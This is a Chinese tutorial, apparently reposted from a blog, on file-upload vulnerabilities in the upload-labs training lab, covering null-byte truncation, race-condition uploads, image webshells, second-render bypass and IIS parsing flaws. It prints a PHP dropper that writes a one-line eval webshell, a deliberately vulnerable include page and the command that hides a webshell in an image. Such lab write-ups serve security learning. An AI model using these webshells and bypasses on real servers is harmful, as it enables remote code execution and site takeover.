文件上传漏洞-下篇

2024-06-22 23:04
文章标签 漏洞 下篇 上传

本文主要是介绍文件上传漏洞-下篇,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、白名单绕过

目录路径检测绕过

00截断
  • 简介:

0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

  • 饶过条件

image.png

  1. 利用操作:Pass-12
    1. 要求:上传路径可控
    2. 步骤:切换版本,修改配置,正常上传服务器需要的文件类型,在点击上传按钮时,抓包并修改其路径信息,再发送到服务器中。

image.png
image.png

  • 原始包信息
  • image.png
  • 修改包信息
  • image.png
  • 结果:
  • image.png
  1. 利用操作:Pass-13
    1. 步骤:和12关类似,区别就是在添加00时 ,是通过先随便添加一个符号作为占位符,再将占位符的十六进制修改为xx
// ../upload/
// 先在../upload/添加分号
../upload/;
//在找到分好十六进制处,修改为00
  1. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719016858361-13759627-b96f-4a3f-9bd4-50ff8a4646d1.png#averageHue=%232f2c2c&clientId=u110fa9f8-157e-4&from=paste&height=620&id=u9f768274&originHeight=620&originWidth=1246&originalType=binary&ratio=1&rotation=0&showTitle=false&size=73914&status=done&style=none&taskId=ua7a6d47d-b723-458f-921c-4e9d650850a&title=&width=1246)

条件竞争绕过

  • 简介

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同的请求的时候,是并发进行的,因此如果并发处理不当或者相关操作顺序设计的不合理时。将会导致此类问题的发生。

  • 原理
    • 先上传文件,再进行文件验证,不符合再删除文件。

image.png

  • 示例:Pass-18
    • 步骤:1、正常上传文件并抓包,并发送到爆破模块中。
# m.php
<?php$w = fopen("text.php","w"); # 以写入模式创建文件fputs($w, "<?php @eval($_POST['cmd']); ?>");?>
  • 2 、构建访问上传文件的路径并抓包发送到爆破模块中。
  // 路径
http://10.196.93.67/upload-labs/upload/m.php
  • 3、将两个包修改为循环抓包,开始条件竞争,只要成功写入一次就可以绕过成功。
  • image.png

二、图片木马

扩展:
文件包含漏洞:

# 可以木马通过get方式当做file的值,传入到服务器中。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?>

简介

图片木马就是讲一句话木马插入到一个"合法"的图片里面,然后在用菜刀远程连接,那么使用图片木马是需要配合解析漏洞和文件包含漏洞的。

图片木马的制作

  • 注意:准备的图片要确保服务器可以正常解析。
  • 准备工作:一张图片;包含木马的php文件。
  • 进入cmd
# 命令
copy  图片名 /b +  php文件 /a 生成的文件名

image.png

示例:Pass-14

image.png
访问图片路径:http://10.196.93.67/upload-labs/upload/8420240622094601.png
利用文件包含漏洞
URL:http://10.196.93.67/upload-labs/include.php?file=upload/8420240622094601.png
image.png
蚂剑:
image.png
image.png

示例:Pass-16

和上方利用方式一样,区别需要修改php.ini文件
image.png

#打开扩展,重启服务
extension=php_exif.dll

示例:Pass-17

  • 二次渲染
 //使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);
  • 二次渲染绕过方式
# 先上传一张正常的图片,经过二次渲染后,将渲染后的图片下载,对比原图片
# 分析找到没有渲染的地方,再将木马加入到此处

三、文件解析漏洞

简介

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序(中间件)本身的漏洞导致的。此类漏洞中具有代表性的便是iis6.0解析漏洞,此漏洞又有目录解析和文件解析两种利用方式,但也有少部分是由于配置的疏忽所产生的,如nginx<8.03的畸形解析漏洞。

常见的解析漏洞

image.png

IIS5.X-6.X解析漏洞

  • 漏洞介绍
使用jis5.x版本的服务器,大多为windowsserver2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析asp文件。
目录解析(6.0)
形式: www.xx.com/xx.asp/xx.jpg
原理:服务器默认会把。asp,.asp目录下的文件都解析成asp文件
形式: www.xx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;jpg便被解析成asp文件了。
解析文件类型
iis6.0默认的可执行文件除了asp还包含这三种:
/test.asa
/test.cer
/test.cdx
  • 修复
目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;jpg类型的文件名。
做好权限设置,限制用户创建文件夹。  

Apache解析漏洞

image.png
image.png

nginx解析漏洞

image.png

这篇关于文件上传漏洞-下篇的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1085659

相关文章

Spring Boot 结合 WxJava 实现文章上传微信公众号草稿箱与群发

《SpringBoot结合WxJava实现文章上传微信公众号草稿箱与群发》本文将详细介绍如何使用SpringBoot框架结合WxJava开发工具包,实现文章上传到微信公众号草稿箱以及群发功能,... 目录一、项目环境准备1.1 开发环境1.2 微信公众号准备二、Spring Boot 项目搭建2.1 创建

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

GitLab文件的上传与下载方式

《GitLab文件的上传与下载方式》:本文主要介绍GitLab文件的上传与下载方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录GitLab 项目拉取到本地GitLab 项目上传方法方法 1:本地项目未初始化Git方法 2:本地项目已初始化GitGitLab 上

Nginx 413修改上传文件大小限制的方法详解

《Nginx413修改上传文件大小限制的方法详解》在使用Nginx作为Web服务器时,有时会遇到客户端尝试上传大文件时返回​​413RequestEntityTooLarge​​... 目录1. 理解 ​​413 Request Entity Too Large​​ 错误2. 修改 Nginx 配置2.1

Java应用如何防止恶意文件上传

《Java应用如何防止恶意文件上传》恶意文件上传可能导致服务器被入侵,数据泄露甚至服务瘫痪,因此我们必须采取全面且有效的防范措施来保护Java应用的安全,下面我们就来看看具体的实现方法吧... 目录恶意文件上传的潜在风险常见的恶意文件上传手段防范恶意文件上传的关键策略严格验证文件类型检查文件内容控制文件存储

Java实现MinIO文件上传的加解密操作

《Java实现MinIO文件上传的加解密操作》在云存储场景中,数据安全是核心需求之一,MinIO作为高性能对象存储服务,支持通过客户端加密(CSE)在数据上传前完成加密,下面我们来看看如何通过Java... 目录一、背景与需求二、技术选型与原理1. 加密方案对比2. 核心算法选择三、完整代码实现1. 加密上

在React聊天应用中实现图片上传功能

《在React聊天应用中实现图片上传功能》在现代聊天应用中,除了文字和表情,图片分享也是一个重要的功能,本文将详细介绍如何在基于React的聊天应用中实现图片上传和预览功能,感兴趣的小伙伴跟着小编一起... 目录技术栈实现步骤1. 消息组件改造2. 图片预览组件3. 聊天输入组件改造功能特点使用说明注意事项

springboot上传zip包并解压至服务器nginx目录方式

《springboot上传zip包并解压至服务器nginx目录方式》:本文主要介绍springboot上传zip包并解压至服务器nginx目录方式,具有很好的参考价值,希望对大家有所帮助,如有错误... 目录springboot上传zip包并解压至服务器nginx目录1.首先需要引入zip相关jar包2.然

使用Node.js制作图片上传服务的详细教程

《使用Node.js制作图片上传服务的详细教程》在现代Web应用开发中,图片上传是一项常见且重要的功能,借助Node.js强大的生态系统,我们可以轻松搭建高效的图片上传服务,本文将深入探讨如何使用No... 目录准备工作搭建 Express 服务器配置 multer 进行图片上传处理图片上传请求完整代码示例

Java实现数据库图片上传与存储功能

《Java实现数据库图片上传与存储功能》在现代的Web开发中,上传图片并将其存储在数据库中是常见的需求之一,本文将介绍如何通过Java实现图片上传,存储到数据库的完整过程,希望对大家有所帮助... 目录1. 项目结构2. 数据库表设计3. 实现图片上传功能3.1 文件上传控制器3.2 图片上传服务4. 实现